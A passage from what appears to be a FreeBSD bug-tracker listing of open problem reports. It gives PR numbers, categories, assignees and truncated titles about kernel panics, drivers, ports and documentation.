ipfw (dummynet) does not allow to set q o kern/105241 [nfs] problem with Linux NFS server up/down combined w o gnu/105221 grep(1): `grep -w -F ""` issue o usb/105186 usb [ehci] [panic] USB 2.0/ehci on FreeBSD 6.2-PRE/AMD64 c o i386/105175 i386 [ipmi] ipmi acpi trouble on supermicro server o kern/105169 [panic] cp hangs on copy to a compact flash card o conf/105145 rc [ppp] [patch] [request] add redial function to rc.d/pp o alpha/105134 alpha 'panic: lockmgr: thread ... not exclusive lock owner' f conf/105100 ache [patch] [locale] no support for lv (latvian) locale o kern/105093 fs [ext2fs] [patch] ext2fs on read-only media cannot be m o kern/105067 K8D Master-F and other 8111/8131 boards will not run S o usb/105065 usb [ata] [usb] SATA - USB Bridge o i386/105063 i386 [sio] US Robotics (3Com) 3CP5609 PCI 16550 Modem works o sparc/105048 sparc64 [trm] trm(4) panics on sparc64 o kern/104978 jfv [em] jumbo frames has been broken in RELENG_6 by last s kern/104950 [ata] [request] no support for SATA controller Initio o bin/104921 ipfw [patch] ipfw(8) sometimes treats ipv6 input as ipv4 (a o ports/104910 nobutaka portsdb -Uu fails on building lsdb when EMACS_NAME is o kern/104882 [iicbb] [patch] pvr250 and pvrxxx drivers need iicbb p o docs/104879 doc Howto: Listen to IMA ADPCM .wav files on FreeBSD box o kern/104874 multimedia [snd_emu10k1] kldload snd_emu10k1 hangs system o kern/104862 [bge] BCM5704 only works at 10Mbit o kern/104851 net [inet6] [patch] On link routes not configured when usi o bin/104850 ppp(8): ppp problem on TCP link o usb/104830 usb [umass] system crashes when copying data to umass devi o kern/104826 andre [bge] FreeBSD 6.1 not RFC 768 (UDP) compliant on Compa o kern/104822 [hang] RELENG_6 hangs with VIA VT8237A chipset [regres p kern/104818 [ata] Missing driver Silicon Image SiI 3132 SATA II PC o bin/104809 cron(8): incorrect cron behavior with mday field = "*/ o kern/104799 [ata] Several ata observations ICH8 BIOS o kern/104755 Making ISO image with k3b hangs 6.2-PRERELEASE o kern/104751 net [netgraph] kernel panic, when getting info about my tr o bin/104746 [patch] traceroute(8): 'traceroute -e -P TCP' cannot w o java/104744 glewis java/berkeley-db installation error o stand/104743 standards [headers] [patch] Wrong values for _POSIX_ minimal lim o kern/104738 mlaier [inet] [patch] Reentrant problem with inet_ntoa in the o bin/104731 gad [patch] missing newline in lpq(1) output o i386/104719 i386 [ata] Seagate ST3802110A errors/delays when using PIO4 s bin/104689 matteo [patch] [request] powerd(8): add support for limiting o kern/104682 ipfw [ipfw] [patch] Some minor language consistency fixes a o kern/104675 [bktr] METEORSINPUT seemingly not setting input o usb/104645 usb [umass] [request] Rave C-201 MP3 player does not commu o kern/104626 multimedia [sound] FreeBSD 6.2 does not support SoundBlaster Audi o kern/104625 acpi ACPI on ASUS A8N-32 SLI/ASUS P4P800 does not show ther o kern/104624 Sound, mouse and keyboard badly interrupted while I/O f i386/104572 i386 [ata] issues with detecting HDD on Intel Q965 Express o kern/104569 glebius panic w/zebra o bin/104553 [patch] [request] Add login group support to login.acc o conf/104549 rc [patch] rc.d/nfsd needs special _find_processes functi o gnu/104533 bugmeister [patch] [request] make send-pr(1) read configuration f o docs/104493 roberto [patch] Wrong description in ntp.conf(5) (CURRENT and o kern/104486 TI1131 Cardbus Bridge cannot detect card insertion on o kern/104485 net [bge] Broadcom BCM5704C: Intermittent on newer chip ve o i386/104473 i386 [boot] boot loader reboots before loading kernel on Al o bin/104456 stefanf sh(1): /bin/sh unable to enter deep directories o docs/104432 trhodes No mention of "let" shell builtin in manual pages. o sparc/104428 sparc64 [nullfs] nullfs panics on E4500 (but not E420) o kern/104406 fs [ufs] Processes get stuck in "ufs" state under persist o kern/104389 geom [geom] [patch] sys/geom/geom_dump.c doesn't encode XML o usb/104352 usb [ural] [patch] ural driver doesnt work o i386/104349 i386 [bfe] Panic while uploading data via bfe network inter o amd64/104311 ports/wine should be installable on amd64 o usb/104292 usb [umass] [hang] system lockup on forced umount of usb-s o usb/104290 usb [umass] [patch] quirk: TOSHIBA DVD-RAM drive (libretto p kern/104212 [puc] [patch] support for Kuroutoshikou SERIAL4P-LPPCI o kern/104133 fs [ext2fs] EXT2FS module corrupts EXT2/3 filesystems o bin/104092 [patch] iostat(8): missing blanks in iostat output o kern/104079 [fdc] [patch] kldunload fdc.ko leads to panic: mutex G o threa/103975 threads Implicit loading/unloading of libpthread.so may crash o www/103938 brd cvs-src archive does not rebuild since 12 Mar 2006 o usb/103917 usb [uhub] USB driver reports "Addr 0 should never happen" o bin/103890 w(1) doesn't see sessreg'd entries in utmp o kern/103883 [ata] DMA is not defaulted on WDMA device (SIS integra a bin/103873 csjp login(1) SEGFAULT on unsuccessful login o kern/103862 [fdc] [patch] Error with fdformat on -CURRENT o bin/103845 sha256(1): sha256 /dev/acd0 returns immediately o docs/103807 danger wicontrol(8) manpage contains a broken URL o conf/103794 adding other login class to login.conf in case one is o kern/103792 Multiple Logins: ; a 't' appears at prompt o kern/103764 [libradius] [patch] libradius aborts server processing o bin/103762 ppp(8): some tun interfaces with a mtu of 1500 while i o ports/103751 nork databases/linux-oracle-instantclient-sqlplus: ldconfig o kern/103733 [agp] i915 driver on hp dc7100: device not recognized o kern/103715 [bge] [request] Broadcom BCM5708SKFB not recognised by o bin/103712 amd(8): Automounter is apparently not passing flags to o bin/103682 [patch] [request] nfsstat(1) should use %u instead of o ports/103669 ale mysql-server rc script can not use mysql_flags variab s i386/103624 i386 [ata] [install] Problem installing on Dell Powervault o kern/103615 emaste [aac] [patch] aac(4) update to the last version availa s kern/103603 6.1 install-boot from floppies fails o kern/103578 [ums] ums does not recognize mouse buttons o kern/103532 [irq] Interrupt storm in 6.2-PRERELEASE [regression] o ports/103529 gecko www/seamonkey: enable SVG and Pango font rendering sup o www/103522 www Search interface oddity o kern/103498 [keyboard] momentary system "pauses" when switching VT s kern/103495 vwe [vr] if_vr locks after carrier event p conf/103489 bz [rc.d] [named] [jail] [patch] named_chroot_autoupdate p kern/103464 bz [dns] [jail] jail networking failures to 127.0.0.1 onl o kern/103455 "swap_pager: indefinite wait buffer" with page file en o kern/103454 ipfw [ipfw] [patch] [request] add a facility to modify DF b o usb/103418 usb usbhidctl(1): [patch] [request] usbhidctl: add ability o kern/103332 yongari [fxp] fxp driver does not work correctly on Intel 8255 o kern/103328 ipfw [ipfw] [request] sugestions about ipfw table o kern/103312 [libc] dlsym(NULL,) doesn't work properly o usb/103289 usb [request] USB 2.0 problems on AMD LX-800 CPU and CS-55 o kern/103283 pf pfsync fails to sucessfully transfer some sessions o kern/103281 pf pfsync reports bulk update failures o kern/103256 jfv [em] em0: watchdog timeout -- resetting (6.1-STABLE) o kern/103253 thompsa inconsistent behaviour in arp reply of a bridge o kern/103250 [puc] puc failed to attach sio ports when loaded as mo o kern/103200 [ral] ral driver for RELENG_6 is out-of-date with resp o kern/103191 net Unpredictable reboot o kern/103135 net [ipsec] ipsec with ipfw divert (not NAT) encodes a pac p kern/103075 [ata] SATA disk attach/unplug from a MV88SX5041 freeze o i386/103063 i386 [install] Can not install on Dell XPS 700 o usb/103046 usb [ulpt] [patch] ulpt event driven I/O with select(2) an a kern/103041 linimon [ipmi] unloading ipmi panics Dell PE 2850, ipmi doesn' o kern/103035 fs [ntfs] Directories in NTFS mounted disc images appear o usb/103025 usb [uhub] [panic] wrong detection of USB device for FreeB o kern/103022 cperciva [headers] /usr/include/crypto/rijndael.h is wrong o usb/102976 usb [panic] Casio Exilim Digital Camera causes panic on in p kern/102956 dchagin [linux] [patch] Add partial support for SO_PEERCRED in o ports/102954 obrien textproc/urlview: switch from netscape to one gecko. o ports/102946 secteam [patch] ports-mgmt/portaudit o kern/102943 kan [xfs] kernel crash when unloading the xfs kernel modul o java/102888 glewis Diablo 1.5.0 throws FileNotFoundException when opening a bin/102834 [patch] mail(1) hangs on the sigsuspend system call in o bin/102793 edwin [patch] [request] top(1): display feature of current C o kern/102784 [keyboard] system crashes when using hardware function o kern/102783 [acpi] hw.acpi has thermal controls backwards when ext f kern/102741 andre [tcp] Multiple outbound connect() calls produce 'Netwo o docs/102719 doc [patch] ng_bpf(4) example leads to unneeded promiscuos o amd64/102716 amd64 ex with no argument in an xterm gets SIGSEGV o conf/102700 rc [geli] [patch] Add encrypted /tmp support to GELI/GBDE o usb/102678 usb [keyboard] Dell PowerEdge DRAC5 USB Keyboard does not p kern/102653 andre [tcp] TCP stack sends infinite retries for connection o bin/102638 matteo [patch] sysinstall(8): custom dist set always install o i386/102617 vwe [smbfs] [editors/ooo] 7 x "smb_maperror: Unmapped erro o kern/102612 [asr] da0 not detected when sharing bus with ch0 devic o bin/102609 [patch] Add filtering capability to date(1) o i386/102562 i386 [em] no traffic pass through a em card after approx. a o kern/102549 [bktr] [patch] fix Pixelview PlayTV Pro 2 on bktr o kern/102540 [netgraph] [patch] supporting vlan(4) by ng_fec(4) o bin/102515 [libc] fsck_ufs crashes if no console at all o conf/102502 net [netgraph] [patch] ifconfig name does't rename netgrap s ports/102499 rik lftp asc file checksum mismatch o bin/102498 sysinstall(8): Cursor doesn't track sysinstall hilight o kern/102471 ipfw [ipfw] [patch] add tos and dscp support o i386/102410 i386 [install] FreeBSD 6.1-RELEASE installation boot freeze o bin/102394 [patch] ls(1) do not shows inode number symbolic link o kern/102390 [pppd] [patch] kernel pppd don't using pam o kern/102363 "Resource temporarily unavailable" message from dvd+rw o bin/102357 [patch] tcsh(1)/csh(1) jobs control: sometimes 'fg' co o bin/102299 [patch] grep(1) malloc abuse? o kern/102252 acpi acpi thermal does not work on Abit AW8D (intel 975) f kern/102250 trasz [msdosfs] panic upon forced umount of removed medium o bin/102232 gad Defects in -O option to ps(1) o kern/102211 [ar] [patch] detach raid member and reboot will cause o bin/102205 kdc(8): login failure: ssh + gssapi + dual stacks + pa o bin/102162 [patch] tftpd(8): Limit port range for tftpd o usb/102066 usb [ukbd] usb keyboard and multimedia keys don't work o kern/102035 net [plip] plip networking disables parallel port printing o kern/101948 net [ipf] [panic] Kernel Panic Trap No 12 Page Fault - cau o kern/101926 [ar] 6.1-STABLE crashes under heavy disk I/O and acces o bin/101921 [request] security.bsd.see_other_uids for further prog o kern/101819 [ar] [patch] ata driver wrongly determines type RAID o o kern/101794 [pfsync] Setting plip as syncdev for pfsync causes ker o usb/101775 usb [libusbhid] [patch] possible error in report descripto a bin/101762 sysinstall(8) does not obey /usr/ports symlink while i o usb/101761 usb [usb] [patch] [request] usb.h: increase maximal size o o usb/101752 usb [umass] [panic] 6.1-RELEASE kernel panic on usb device o kern/101734 [ata] -CURRENT cannot see SATA drive on ASUS A8N-SLI ( o kern/101618 kernel panic on multiple Dell PE2850s o i386/101616 i386 [hang] FreeBSD freeze on bootup, Compaq Proliant (lega a ports/101566 apache www/apache20 All .svn subdirectories in $(htdocsdir) g o docs/101464 doc sync ru_RU.KOI8-R/articles/portbuild/article.html with s ports/101450 stas multimedia/transcode: tcprobe broken for devfs o usb/101448 usb [ohci] FBSD 6.1-STABLE/AMD64 crashes under heavy USB/O o kern/101417 multimedia [sound] 4-speakers output not possible on Asus A8V-Del o ports/101340 danfe x11/nvidia-driver: Vidcontrol Causes Video Corruption o kern/101324 fs [smbfs] smbfs sometimes not case sensitive when it's s o threa/101323 threads [patch] fork(2) in threaded programs broken. o kern/101274 yongari [sk] [patch] SysKonnect Yukon initialization bug on K8 o docs/101271 remko serial console documentation implies kernel rebuild re o kern/101226 jfv [em] Access to IPMI module is lost when the em driver o ports/101166 bittorrent-curses only works under English locales. o usb/101096 usb [ural] [panic] USB WLAN occasionally causes kernel-pan o i386/101062 i386 [hang] Freeze on detect Intel 900 VGA on boot with ACP f kern/101061 vwe [fpa] fea/fpa (DEC FDDI NIC) driver causes kernel pani o kern/100974 rwatson [panic] sorele. FreeBSD 6.1 RELEASE i386 o bin/100956 remko [patch] support setting carp device state with ifconfi o bin/100921 [patch] tftpd(8): libexec/tftpd: `-w' non-traditional o bin/100914 [patch] tftpd(8): libexec/tftpd: write access control o kern/100859 multimedia [snd_ich] snd_ich broken on GIGABYTE 915 system o kern/100858 davidch [bce] Broadcom bce driver and SMP hangup f kern/100839 yongari [txp] txp driver inconsistently stops working when the o i386/100831 i386 [sio] sio ignores BIOS information about serial ports s threa/100815 threads FBSD 5.5 broke nanosleep in libc_r s bin/100805 yar WITHOUT_INET6 is ignored by many src/ components o docs/100803 jhb [patch] the man page about ithread is expired. o conf/100782 [keyboard] [patch] Default keymap to support ALT+Left, o ports/100776 sem Failure to update devel/mico by portupgrade o usb/100746 usb [keyboard] system does not boot due to USB keyboard pr o kern/100709 net [libc] getaddrinfo(3) should return TTL info o kern/100687 [psm] psm problem (?): touchpad hangs, then move supe o conf/100616 [patch] syslog.conf: lines after exclamation point ign o bin/100535 [patch] cal(1) and ncal(1) do not take into account mu o kern/100519 net [netisr] suggestion to fix suboptimal network polling o kern/100516 [atapicam] atapicam with ITE IT8212F crashes the syste p kern/100513 jhb [smbus] Inconsistent definition of SMBus addresses in o ports/100504 skv [PATCH] databases/p5-Class-DBI: Reduce dependencies o kern/100499 yongari [vr] vr interface stops transmitting a bin/100496 [patch] Fix to get rid of the telnet(1) to cisco probl o bin/100442 obrien ftpd(8): lukemftpd core dumps on anonymous login o bin/100436 kensmith sysinstall(8): live CD fixit mount does not find mount f ports/100431 dougb port print/hpijs default config interferes with print/ o bin/100424 [patch] ssh(1): SSH option BindAddress is ignored by o o i386/100420 i386 [boot] boot1/boot2 lba error o kern/100410 [bge] bge driver disables access to shared iLo on HP D o misc/100322 [tools] [patch] kerninclude.sh doesn't dump object nam o bin/100320 edwin [request] Update top(1) to 3.6 o kern/100290 yongari [rl] rl0: watchdog timeout [regression] p docs/100242 trhodes sysctl(3) description of KERN_PROC is not correct anym o kern/100219 bz [ip6] IPV6_PKTOPTIONS and possible mbuf exhaustion. o i386/100204 i386 FreeBSD reports raid as broken - but it is not o docs/100196 doc man login.conf does explain not "unlimited" s kern/100170 [request] Support login class in ldap directory o i386/100142 i386 [pci] [patch] /dev/smb0 device not available on system o misc/100133 [boot] keyhit function in boot2.c that falls into an i a bin/100089 [patch] ftp(1): default ftp application of FreeBSD giv o bin/100018 [patch] newsyslog(8) does not check size if time_at is o stand/100017 standards [Patch] Add fuser(1) functionality to fstat(1) o kern/99989 panic when detaching disks o kern/99979 [patch] Get Ready for Kernel Module in C++ s bin/99973 yar systat(1): systat -ifstat traffic counter overflow o kern/99954 scsi [ahc] reading from DVD failes on 6.x [regression] o bin/99896 gad [patch] lpr(1): lpr -r flag has no effect o kern/99850 [ar] ataraid hangs in g_waitidle when attaching to nVi o bin/99800 [libc] [patch] Add support for profiling multiple exec o kern/99765 drifting time, SuperMicro PDSMi Motherboard, "calcru n o kern/99758 [pty] [patch] chown/chmod pty slave side in kernel o conf/99721 rc [patch] /etc/rc.initdiskless problem copy dotfile in s o kern/99664 mountd and/or nfsd have to sometimes have to be restar o bin/99662 rpc.rquotad(8): quota information leak while rpc.rquot o kern/99652 [ata] nVidia nForce MCP51 controller hangs w/ 2 drives o misc/99643 linimon request to remove src/tools/tools/portsinfo because it o misc/99627 [build] [patch] make update & CVSROOT o i386/99608 i386 [atapicam] ATAPI or CAM crash on FreeBSD 6.1-stable wi o kern/99607 [pppd] pppd hangs kernel due to interrupt flood from s o kern/99567 [ata] Powerup of sleeping IDE drives causes system reb o bin/99566 jail [jail] [patch] fstat(1) according to specified jid o usb/99538 usb [keyboard] while using USB keyboard default params of o kern/99529 [amr] DELL PowerEdge 2600 with streamer PowerVault 100 o docs/99506 doc FreeBSD Handbook addition: IPv6 Server Settings o kern/99485 Disk IO Causes multimedia/mplayer To Drop Frames o conf/99444 rc [patch] Enhancement: rc.subr could easily support star o usb/99431 usb [keyboard] FreeBSD on MSI 6566E (Intel 845E motherboar s kern/99421 [request] Option Globetrotter Fusion card not recogniz o kern/99408 [ppp] problems with ppp and arp a docs/99356 ru man page of sendmsg(2) does not include EINVAL o conf/99328 linimon [patch] updates for src/share/examples/cvsup o bin/99307 [patch] mount_nfs(8) incompatible with zVM VMNFS 3A0 o www/99305 bugmeister send-pr.html is frustrating/broken o kern/99290 fs [ntfs] mount_ntfs ignorant of cluster sizes o bin/99217 [patch] pam_ssh(8) waits for a wrong ssh-agent PID at o kern/99200 usb [bluetooth] SMP-Kernel crashes reliably when Bluetooth o kern/99188 andre [tcp] [patch] FIN in same packet as duplicate ACK is l o www/99184 wosch Viewing HP-UX manpages with http://www.freebsd.org/cgi o gnu/99173 [patch] replace gnu patch with a bsd-licensed one. o kern/99094 [linprocfs] panic: sleeping thread (Sleeping thread .. o kern/99088 [ata] Critical Problems with VIA 8251 SATA2/RAID Contr f kern/99068 [linux] [patch] Linux emulator crashed by java, when c o kern/99017 [ata] [patch] FreeBSD versions above 5.3 panic if atap o kern/98978 net [ipf] [patch] ipfilter drops OOW packets under 6.1-Rel o docs/98974 doc Missing tunables in loader(8) manpage o kern/98962 remko [ata] [burncd]: [patch] writing >1 session on ATAPI CD o i386/98932 i386 [i386] [patch] Kernel compilation failed on specific P o kern/98873 des [libfetch] allow fetch(3) to force using of ipv4 or ip o kern/98831 ipfw [ipfw] ipfw has UDP hickups o kern/98804 [ar] VIA V-RAID metadata mis-read (MSI K8MMV with the o www/98798 www Our statistics page is out of date o kern/98788 [syscons] [patch] Add sysctl to disallow VT_LOCKSWITCH o i386/98765 i386 [ata] timeouts on sata drive (Asus a7n8x-e) o docs/98759 doc [patch] sbp_targ(4) man page missing reference to devi o kern/98752 multimedia [sound] Intel ich6 82801 FB - on Packard Bell A8810 la o kern/98597 net [inet6] Bug in FreeBSD 6.1 IPv6 link-local DAD procedu o bin/98577 [patch] dhclient(8): the link check by dhclient slows o bin/98542 [pppd] pppd(8) daemon unexpectently died , Exit 1 o kern/98504 multimedia [sound] Sound is distorted with SB Live 5.1 o kern/98496 multimedia [snd_ich] some functions don't work in my sound kernel o bin/98468 newsyslog(8): Value over 99 in newsyslog.conf count fi o kern/98460 [kernel] [patch] fpu_clean_state() cannot be disabled o kern/98388 [ata] FreeBSD 6.1 - WDC WD1200JS SATA II disks are see p misc/98383 yar [request] include the mt command in the rescue CD o i386/98366 i386 [em] Intel PRO/1000 MT Dual PCI-X: simulatenious 1000 f docs/98344 linimon [patch] An update of the article "Choosing the FreeBSD o usb/98343 usb [boot] BBB reset failed errors with Creative Muvo MP3 o bin/98220 wpa_supplicant(8) operation does not match documentati o bin/98218 net wpa_supplicant(8) blacklist not working o i386/98215 i386 [geode] [regression] FreeBSD can no longer boot Geode o kern/98167 multimedia [sound] [es137x] [patch] ES1370 mixer volumes incorrec s kern/98162 [request] AcerHK driver port needed for enabling WiFi o i386/98154 i386 6-STABLE crashes when being online via modem (Fujitsu o docs/98115 doc Missing parts after rendering handbook to RTF format o kern/98091 scottl [mfi] [patch] Makefile style of mfi kernel module brok o kern/98034 geom [geom] dereference of NULL pointer in acd_geom_detach p kern/98015 remko [bfe] [patch] bfe(4): double free in error handling pa o kern/97996 [ata] DMA is broken for VIA 82C596B UDMA66controller o kern/97951 ipfw [ipfw] [patch] ipfw does not tie interface details to a kern/97921 rwatson [socket] close() socket deadlocks blocked threads p conf/97697 matteo [patch] rc.conf - jail__exec_afterstart[0..n] o kern/97665 [sio] hang in sio driver o kern/97609 multimedia [sound] Load Sound Module - VIA8233 - fails o ports/97544 sumikawa patch for net/zebra's ospfd snmp o kern/97535 multimedia [snd_mss] doesn't work in 6.0-RELEASE and above for Cr o kern/97517 [fdc] Floppy device lost permissions when active flopp o kern/97505 [procfs] file entry of procfs points to "unknown" o kern/97504 ipfw [ipfw] IPFW Rules bug s bin/97498 [request] newfs(8) has no option to clear the first 12 o bin/97478 umount(8): umount -f /card -> hardware-reset is needed o usb/97472 usb [cam] [patch] add support for Olympus C150,D390 o java/97461 java Diablo JDK does not report Update level in a format su o kern/97401 [xe] Xircom CreditCard Ethernet 10/100, attach returne f bin/97392 net ppp(8) hangs instead terminating o kern/97383 acpi Volume buttons on IBM Thinkpad crash system with ACPI o kern/97381 [fdc] [patch] Patch to add zero-sector and spanned-sid o kern/97377 fs [ntfs] [patch] syntax cleanup for ntfs_ihash.c o amd64/97337 amd64 [dri] xorg reboots system if dri module is enabled o kern/97329 [nfs] [patch] code simplification o kern/97326 emulation [linux] file descriptor leakage in linux emulation o kern/97306 net [netgraph] NG_L2TP locks after connection with failed o i386/97287 i386 Screen Corruption In FreeBSD 6.X When Apps Started In s usb/97286 usb [mouse] [request] MS Wireless Intellimouse Explorer 2. s kern/97266 [fdc] System hangs at kernel time after boot: /dev/fd0 o kern/97265 System hangs at the end of shutdown -h now o i386/97263 i386 [ata] FreeBSD only detects first drive on PDC20378 378 o kern/97208 firewire [firewire] System hangs / locks up when a firewire dis o usb/97175 usb [umass] [hang] USB cardreader hangs system o kern/97164 [libdisk] libdisk's Open_Disk() crashes o kern/97153 [patch] When -NO_KERBEROS is set, libcom_err still get o bin/97108 sysinstall(8): write failure on transfer (wrote -1 byt o bin/97083 [patch] passwd(1) does not support _PWF_HESIOD o i386/97025 i386 [vmware] fbsd (2 cd) dont install in vmware 5.5.0 - re o conf/97014 [gif] gifconfig_gif? in rc.conf does not recognize IPv o bin/97002 [patch] cron(8) fails quietly if /usr/sbin/sendmail is o kern/97000 [kernel] [patch] bogus "All threads purged from ugen0. o kern/96999 [procfs] [patch] procfs reports incorrect information o kern/96974 obrien [patch] to build FreeBSD kernel with binutils 2.16.92 a ports/96953 apache www/apache22 port uses its own directories o kern/96927 [loader] Loader(8) cause kernel death on "boot -a" [re o bin/96854 imp [patch] devd(8) parses events incorrectly in some case a bin/96840 [libc] [patch] getgrent() does not return large groups o conf/96746 [nanobsd] [patch] Configuration changes and README for f kern/96743 yongari [sk] [patch] broken 32-bit register operations o kern/96644 [panic] umount(8) crash after mount/umount disturbance o conf/96589 Periodic monthly invalid times with 32 character usern o bin/96540 [patch] catman(1) does not deal correctly with hard-li o kern/96538 multimedia [sound] emu10k1-driver inverts channels o usb/96457 usb [umass] [panic] fatback on umass = reboot o kern/96429 [kernel] [patch] kern_linker.c hardcodes "/boot/kernel f conf/96412 linimon [rpc] 2 rpc.lockds launched at boot ? blocking problem o i386/96406 i386 System freezes on IBM xSeries 335 with FreeBSD-6.0-REL f kern/96393 [libz] [patch] assembler implementations for libz on i o i386/96382 i386 [bge] In 6.1-RC1 the bge driver does not reliably work o usb/96381 usb [cam] [patch] add a quirk table entry for a flash ram o i386/96357 i386 FreeBSD cannot recognize all the logical partitions o kern/96346 [modules] [patch] disable build of modules that are al o conf/96343 rc [patch] rc.d order change to start inet6 before pf f i386/96302 gavin [ata] nVidia nForce CK804 SATA300 controller not recog f kern/96286 [cbb] [panic] TI1131 PCI CardBus Bridge: driver cbb le f kern/96268 net [socket] TCP socket performance drops by 3000% if pack o conf/96247 matteo [patch] 550.ipfwlimit reports logs even if log size is o stand/96236 standards [patch] [posix] sed(1) incorrectly describes a functio f i386/96225 gavin [boot] Toshiba M70-CL3 Hangs Up During Booting o usb/96224 usb [usb] [msdosfs] mount_msdosfs cause page fault in sync o docs/96207 doc Comments of a sockaddr_un structure could confuse one o kern/96171 [ata] burncd (ATA driver) fails to write in vcd mode o kern/96157 Subtle incompatability of FreeBSD and LITE-ON SOHW-167 s usb/96120 usb [ums] [request] USB mouse not always detected o conf/96094 [gif] startup scripts do not configure gif interfaces o kern/96040 [mpt] LSI1030 mpt0: bullet missed in timeout o kern/96030 net [bfe] [patch] Install hangs with Broadcomm 440x NIC in o stand/96016 standards [headers] clock_getres et al should be in o conf/96015 uncommenting the msgs invocation in /etc/profile can f f bin/95979 obrien [patch] burncd(8) fails to fixate CDs o gnu/95936 egrep(1) misparses multiline parenthetical grouping o amd64/95888 amd64 [ata] kernel: ad2: TIMEOUT - WRITE_DMA retrying on HP p bin/95715 [patch] random(6) busy loop under some conditions o bin/95698 philip [patch] moused(8): Software control of sysmouse o bin/95692 gdb(1): GDB in base of both FreeBSD 6 and 5 is ancient o gnu/95691 GDB segfaults on my programme in both FreeBSD 6 and 5 o kern/95661 [pci] [patch] pci_pci still not correct for initializi s usb/95636 usb [umass] [boot] 5 minute delay at boot when using VT620 o usb/95562 usb [umass] Write Stress in USB Mass drive causes "vinvalb o kern/95559 RELENG_6: write(2) fails with EPERM on TCP socket unde o ports/95541 roam dns/djbdns WITH_IPV6 queries ip6.int o kern/95532 [gif] if_gif has artificial limitations o kern/95519 net [ral] ral0 could not map mbuf o kern/95512 [uplcom] uplcom(4) causes system hangups o kern/95459 Rebooting the system while rebuilding RAID (Intel Matr o docs/95408 remko install over serial console does not work as documente o kern/95407 [atapicam] atapicam, cd and /etc/rc.d/devfs problem o kern/95405 [libkvm] libkvm does not support /dev/fwmem0.0 in Free s usb/95348 usb [keyboard] USB keyboard unplug causes noise on screen o bin/95339 [libexec] [patch] rtld is thread-unsafe. fixes for dlo a kern/95307 vanhu [ipsec] Panic (race condition?) in ipsec_process_done o kern/95288 net [pppd] [tty] [panic] if_ppp panic in sys/kern/tty_subr o kern/95277 net [netinet] [patch] IP Encapsulation mask_match() return o kern/95267 net packet drops periodically appear o kern/95239 [libc] [patch] nftw(3) returns EINVAL for large values o kern/95222 fs [iso9660] File sections on ISO9660 level 3 CDs ignored f i386/95106 gavin [install] cannot install freebsd, Nvidia nForce 2 base o kern/95086 multimedia [sound] uaudio line in problem with sbdm lx s ports/95085 portmgr [PATCH]: bsd.port.mk: Add knob to allow for mutually e o kern/95084 ipfw [ipfw] [regression] [patch] IPFW2 ignores "recv/xmit/v o bin/95082 [patch] ping(8) won't handle large preload patterns o bin/95079 [patch] apply(1) dies when there are two %1 in command o usb/95037 usb [umass] USB disk not recognized on hot-plug. o bin/95002 [libc] hash db source code has a bug which prevents us o kern/94978 [pam] pam_opie module option without "no_fake_prompts" o ports/94935 cy security/aide: propose an AIDE_CONF knob for make.conf f i386/94911 gavin [ata] [regression] ata regression with DOM-IDE o kern/94898 [pcmcia] GPRS PCMCIA card cause interrupt storm and co o usb/94897 usb [panic] Kernel Panic when cleanly unmounting USB disk s bin/94892 [rpc] rpc.lockd does not interoperate with Solaris 10 s kern/94863 net [bge] [patch] hack to get bge(4) working on IBM e326m o kern/94849 fs [ufs] rename on UFS filesystem is not atomic o kern/94838 scsi Kernel panic while mounting SD card with lock switch o o kern/94830 [nfs] [patch] mount_nfs causes a fatal trap 18 if the a kern/94827 [libc] mmap with given (void *addr) may lock memory-ma o kern/94823 [drm] DRM doesnt't work with i915.ko o bin/94810 fsck(8) incorrectly reports 'file system marked clean' o kern/94772 [fifo] [patch] FIFOs (named pipes) + select() == broke o kern/94769 fs [ufs] Multiple file deletions on multi-snapshotted fil o bin/94750 watch(8) utility faults when tty disconnects o kern/94733 fs [smbfs] smbfs may cause double unlock o stand/94729 standards [libc] fcntl() throws undocumented ENOTTY o usb/94717 usb [ulpt] Reading from /dev/ulpt can break work of a UHCI o gnu/94695 bugmeister send-pr.el is missing from send-pr distribution o ports/94690 ume [patch] Daemons in /usr/local/etc/rc.d/ must do "setss o amd64/94677 amd64 [panic] panic in amd64 install at non-root user creati o kern/94669 pjd [vfs] [patch] Panic from Failed Removable Media Mount o bin/94635 snapinfo(8)/libufs only works for disk-backed filesyst o kern/94632 geom [geom] Kernel output resets input while GELI asks for o docs/94625 doc [patch] growfs man page -- document "panic: not enough o kern/94578 [panic] Panic by using rtorrent sometimes o bin/94546 [patch] Make telnet(1) accept 'host:port' on command l o kern/94528 [linprocfs] linprocfs /proc/memory reports wrong size o kern/94519 [libc] [patch] Add UF_HIDDEN file flag; map it to Wind f sparc/94483 sam [ath] ath_hal does not work on 6-release/sparc64 s threa/94467 threads send(), sendto() and sendmsg() are not correct in libc o kern/94424 [bge] BGE5721 or BGE5750? o www/94423 danger [patch] XML'ified release todo list f i386/94420 gavin FreeBSD does NOT support the pcChips M925 motherboard. o kern/94393 [ar] PseudoRAID loses track of the master disk s kern/94390 vwe [vr] poor network performance after promiscuous mode i o usb/94384 usb [panic] kernel panic with usb2 hardware o kern/94369 itetcu [bktr] [patch] Patch to support Leadtek WinFast Tv2000 o kern/94279 multimedia [snd_neomagic] snd_neomagic crashes on FreeBSD 5.4 and o kern/94273 gnn [ipsec] [patch] IPIP decapsulation problem in FAST_IPS o bin/94258 [rpc] O_NONBLOCK may block with rpc.lockd o kern/94256 dfr [nfs] nfs locking/rpc.lockd doesn't understand file de o bin/94252 [rpc] rpc.lockd cannot cancel lock requests o kern/94227 'no dump device defined' on random occasions s kern/94182 [altq] [request] altq support for vlan driver p bin/94181 ume portsnap(8) should remove the trailing dot from the se p bin/94180 ume portsnap(8) does not handle HTTP_PROXY_AUTH correctly o kern/94166 [boot] btx halted with a flashcard plugged o kern/94162 net [bge] 6.x kenel stale with bge(4) s bin/94159 [request] ipsecctl ported from openbsd o kern/94155 [ata] 6.1 CF reader problem: "ad1: FAILURE - SETFEATUR o kern/94139 scottl [amr] [regression] amr broken with LSILogic MegaRAID S o bin/94052 [patch] Adds option to script(1) to suppress carriage- o bin/94051 login(1): IP network in login.access ignored unless DN o bin/94032 krion [patch] Enhancement to pkg_add(1) to add -4 flag to fo o kern/93998 [libstand] [patch] panic in libstand when closing raw o ports/93993 portmgr bsd.autotools.mk: Fix libtool shared library versionin o kern/93986 multimedia [sound] Acer TravelMate 4652LMi pcm0 channel dead o amd64/93961 amd64 [busdma] Problem in bounce buffer handling in sys/amd6 o kern/93942 fs [vfs] [patch] panic: ufs_dirbad: bad dir (patch from D f i386/93923 i386 [ata] FreeBSD Install, Sil3112: Cannot dump. No dump d o conf/93899 mount_smbfs can't load libiconv.so during boot up o kern/93887 [kernel] cpu_spinwait calls missing in subr_smp.c o kern/93886 net [ath] Atheros/D-Link DWL-G650 